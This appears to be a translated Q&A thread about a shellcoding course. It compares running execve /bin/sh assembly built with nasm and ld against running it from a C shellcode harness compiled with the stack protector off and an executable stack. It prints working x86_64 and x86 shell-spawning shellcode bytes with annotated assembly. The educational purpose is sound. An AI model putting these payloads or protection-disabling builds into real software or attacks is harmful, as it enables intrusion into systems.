我目前正在研究“Pentester Academy 的 x86_64 汇编语言和 Linux 上的 Shellcoding”课程 (www.pentesteracademy.com/course?id=7)。我有一个简单的问题,我不能完全弄清楚:什么是运行已组装和链接汇编程序之间的确切差异NASM
和ld
对经典运行同一程序拆解shellcode.c
程序(写在下面)。为什么要使用一种方法而不是另一种方法?
例如,在遵循第一种方法时,我使用以下命令:
nasm -f elf64 -o execve_stack.o execve_stack.asm
ld -o execve_stack execve_stack.o
./execve_stack
使用第二种方法时,我在shellcode.c
程序中插入反汇编的shellcode :
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void) {
printf("Shellcode length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
return 0;
}
...并使用命令:
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
./shellcode
我分析了 GDB 中的两个程序,发现存储在某些寄存器中的地址不同。我还阅读了以下问题的答案(C 代码解释),这有助于我理解 shellcode.c 程序的工作方式。话虽如此,我仍然没有完全理解这两种方法的确切区别。
这两种方法在理论上没有区别。在这两种情况下,您最终都会在处理器上执行一堆汇编指令。
该shellcode.c
程序只是为了演示如果运行定义为unsigned char code[]
变量中的字节数组的程序集会发生什么。
为什么要使用一种方法而不是另一种方法?
我认为您不了解 shellcode 的目的和shellcode.c
程序背后的推理(为什么它显示在处理器上执行您可以控制的任意字节序列时会发生什么)。
Shellcode 是一小段汇编代码,用于利用软件漏洞。攻击者通常利用缓冲区溢出等常见的编程错误将 shellcode 注入软件,然后试图让软件执行注入的 shellcode。
一篇很好的文章展示了如何通过使用缓冲区溢出执行 shellcode 注入来生成 shell 的分步教程可以在这里找到。
下面是一个经典的 shellcode\x83\xec\x48\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
在汇编器中的样子:
sub esp, 72
xor eax, eax
xor edx, edx
push eax
push 0x68732f2f ; "hs//" (/ is doubled because you need to push 4 bytes on the stack)
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX = address of string "/bin//sh"
push eax
push ebx
mov ecx, esp
mov al, 0xb ; EAX = 11 (which is the ID of the sys_execve Linux system call)
int 0x80
在 x86 环境中,这会execve
使用“/bin/sh”字符串作为参数进行系统调用。
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句